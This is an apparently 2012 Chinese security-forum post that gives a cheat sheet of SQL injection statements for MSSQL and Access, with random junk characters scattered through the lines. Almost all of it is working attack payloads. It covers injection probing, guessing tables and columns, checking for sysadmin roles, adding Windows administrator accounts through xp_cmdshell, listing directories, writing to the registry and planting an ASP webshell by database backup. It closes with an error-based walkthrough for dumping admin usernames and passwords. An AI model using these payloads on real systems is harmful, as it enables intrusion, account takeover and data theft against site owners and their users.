找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1991|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1.判断是否有注入
4 I/ O/ G. S2 i. {;and 1=1 . t$ D1 R' ?/ g9 W" I" G, R
;and 1=2 + U) G" E/ W; t8 l! h' G2 G; K# R

8 `) x1 y7 i) b# T1 A% T3 O2.初步判断是否是mssql . h1 ?* z% l* L, d! [1 K4 ^1 E
;and user>0
; d3 L9 g6 e; ^* L# v! B, G7 e' ]0 q7 ]" h
3.判断数据库系统
2 s" V; _+ }: ?) f/ J. l;and (select count(*) from sysobjects)>0 mssql
. u2 ~- ~2 {% |) `;and (select count(*) from msysobjects)>0 access   h& J0 _* J# m, d0 u6 B8 Z
& g" [0 }1 J" z) U5 L
4.注入参数是字符
4 K! S  A" `% I* _% V) [# I'and [查询条件] and ''='
% N" i* M: W' |! T' J6 s+ }1 y" E* Q5 F7 k6 \! _
5.搜索时没过滤参数的
/ w4 w, Y7 }9 j# x# K4 E'and [查询条件] and '%25'=' , g* Y, V( S; ?! z) M4 J3 U  k
0 s7 Z8 ]: L# Y$ S2 Q
6.猜数表名
! S. ^% ~  x9 F& E$ s% V;and (select Count(*) from [表名])>0 " z6 L# I" J3 U( s  ?, N+ l/ L

$ v' J; d. M/ d3 S4 F. |$ n: E7.猜字段   r( {+ j$ A: g
;and (select Count(字段名) from 表名)>0
* {& h- t0 g" ~0 w, y: i& f1 y$ ~4 D7 y, z# v% e/ |
8.猜字段中记录长度 $ p$ l+ l2 t: W4 q. X2 ?8 Y
;and (select top 1 len(字段名) from 表名)>0 7 ?/ k5 h4 t" M; W% n

% u8 X' B9 i% n5 C8 O0 O9.(1)猜字段的ascii值(access) 3 `8 ?6 k0 o# k1 q* E9 n
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 ! o$ J1 A' ^& e: X# @
$ G+ a( e$ k# m! _) w5 N9 Y. J
(2)猜字段的ascii值(mssql)
2 Z" y$ K( K- ~;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 1 ?( h9 |5 N6 \: S  H7 l

2 N0 q! o4 D1 x0 E10.测试权限结构(mssql) " f- w1 g& y/ X7 a) M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # p1 h3 F8 V$ p% h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 9 g/ Z/ V0 }2 o. \) c1 q* I8 q
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- + W( K3 x& y# k
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
9 \: B; }1 B. g. D  q. `;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
/ e* I* Q5 Q  u" F5 h$ W;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
. v0 h- h% m8 B" y: F, h4 i;and 1=(select IS_MEMBER('db_owner'));-- 7 Y# \, C  e- J6 f3 n

6 T; n2 L' V; ]0 ?1 ~  f11.添加mssql和系统的帐户 4 |, f: r8 b3 R) B) _1 B( n7 C) L2 z
;exec master.dbo.sp_addlogin username;-- 4 i( L* z5 w* l6 \
;exec master.dbo.sp_password null,username,password;-- . m0 U6 M- p8 ?3 p# K+ o: D7 {
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 0 O9 j1 u) e) D1 O8 x
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   I  k% U; `* ^6 V/ c1 ~: {+ o' i
;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 u8 p' w  @2 K. M, ?;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 4 M" N) n+ D2 r3 g) D; U

: N$ @$ S1 c4 v1 m12.(1)遍历目录
0 `/ d1 H% d1 B/ R3 W3 g: \;create table dirs(paths varchar(100), id int)
5 M) M" ]4 y; v. `# H4 b7 E;insert dirs exec master.dbo.xp_dirtree 'c:\' % s" r# B: L- Y# S
;and (select top 1 paths from dirs)>0 . s* g6 ]- [; k0 w% p! k
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
! ~% |0 G( S! e5 a4 A: P: h& L0 ^. G
, J8 n$ o: S0 ^3 Q) j! Q(2)遍历目录
  H1 f7 d) x- y% ~4 b;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
& A" o( o& K0 a& _5 B  @;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
1 Y( }# D+ R# p+ a( e0 W* ~: o;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 : n0 T3 ]" Q0 V4 y
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 3 r  ~" a  Y* u' x; v
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 9 u- Y- x/ \" Z) U+ D! h  M

! h! a# [. i8 W. q( T. U# \& ~3 M2 }13.mssql中的存储过程 $ p0 K6 K) n( p' _
xp_regenumvalues 注册表根键, 子键
( J$ v1 R/ N0 ^7 \9 g; i;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( `, D( Z/ |0 k7 Sxp_regread 根键,子键,键值名 - z4 z+ {( a: `& i6 D, G
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 & v8 P5 Q+ t2 a0 v: Y7 r7 }
xp_regwrite 根键,子键, 值名, 值类型, 值 ( j# B( L+ Q% K2 M4 U4 D
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) Q$ g! f* `# ^
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
$ p# R1 O# B& L) i9 L8 ?xp_regdeletevalue 根键,子键,值名
( m0 y( R+ J( z8 s! }2 k/ z2 G3 l- h+ pexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
2 Z8 x! k6 ?' D5 Txp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ; n" A9 E8 T; S9 r: Z/ H7 W

/ W. `( ?2 w& p! Q) l, W14.mssql的backup创建webshell
, m& b5 X  g% m$ ruse model
0 K! F8 r! J$ ?/ e2 Jcreate table cmd(str image);
9 U0 t* u5 ]0 Rinsert into cmd(str) values ('<% Dim oScript %>'); 4 V6 i! \% V7 x7 d" W
backup database model to disk='c:\l.asp'; 1 _  B$ J  V& R3 D* ^' z  m' o

; x2 g- z% {! H6 S' J- Q15.mssql内置函数 0 }& o, U% e% e) T; Z
;and (select @@version)>0 获得Windows的版本号
3 w9 C6 ?- n4 E;and user_name()='dbo' 判断当前系统的连接用户是不是sa ; u' I' Z, Z" _9 Y3 ?6 Y) {2 f
;and (select user_name())>0 爆当前系统的连接用户
4 F: y% a7 q# b$ h;and (select db_name())>0 得到当前连接的数据库 # P6 D( e) L" g# {8 x9 B. }
! J4 I# k5 |* b

- c4 I+ j! J: g" X  M- q
  W" o# p6 e; o3 e0 WMSSQL手注暴库
" h: \: o- S2 U4 M, C. V  k4 w
1.暴出当前表名和列名
9 U! j" y/ ]! W( ?在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。# n. E' x* v7 w+ S0 L& H7 P% z7 Q

" h! h2 r# O4 g! V% Y( f* I第一.爆出所有数据库名; ]: K- F# L/ _0 E  [: k% V
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。* u% \( ~& F+ B' p# n
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
% ]7 R6 F# O0 F# @
/ j0 A4 Z( b! E, f0 A! c- l* `$ Gand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名1 f8 r' \" b: f) B  A6 V* }- D
0 x# R* v2 Z: z. m1 h' K) C6 N: w
+ j5 g- l- {- h. S
第二.爆出指定库中的所有表名, b) a: S/ @- ]: ^0 `- f
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。  k+ T5 N8 g2 e* Q/ L
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。7 }7 A4 b9 E8 X

# o: c- N; W# z0 cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
9 q6 \8 K3 f6 x, L. aand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
. w0 ?+ i; v' {0 Land 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--0 f; G: a- s2 Q' w( ~9 U% u( F

, Z) R$ h. v$ J. y, A1 [4 E4.爆出指定表中的所有列名
# O6 u% P, ?0 G! @and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ! b* K( h5 }7 ]/ I- `+ M* k
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'/ ?7 _  N1 i8 y

! b; W$ z4 _' s. m) M8 `1 Oand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名" f0 s7 C8 e0 d* X+ [
/ J7 f) E" G; y) S
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
' f  U# v% |4 z! T依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
) L3 q* b; e2 M" Q) b0 T2 R% M! ~) C! y) c; J$ T

6 Q5 m' T' _0 U' O& }" Eand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
9 t7 x6 `* @' ]+ U" O, O
( u, f+ ^, K. |: f) n% ]! Jand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
0 M2 I" D! f  z, b: d5 k. U5 U# n# @* J# B
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
/ j1 s7 G! {, A; A3 W: @0 g
0 K# k. N  Y, S, X% Y! ^" x- ]: b) X6 P- r
, I6 [, a# A& n" I
5.读取指定表中的数据; g1 x. H% N3 u2 d# ]" i
4 {6 l% [3 P; K  _) y; {, Z0 ~" w
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 ; T% s1 p, W3 _5 x

4 L' `9 m1 B$ h/ Q' Q/ f; Gand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
6 M8 u% e' @' w( i* G& y/ o0 Z6 B
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
# f& G2 O; P/ K* P& P
! X/ [0 k9 D% f' z& Y! y
$ b, B) v7 }2 m2 i$ aand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
) F/ i; o: n& n( F% T& o' \1 J% c' @- g9 t: c
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)0 n! M! H! d: ^. Y) Q1 }- \5 y
& ]2 {7 B# r' \0 J, ?% G
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
) v5 }/ f, \2 l. Z, h1 S+ ]9 O* {- _. _. a# u
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
$ m  ?8 T2 g# V1 h; i
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表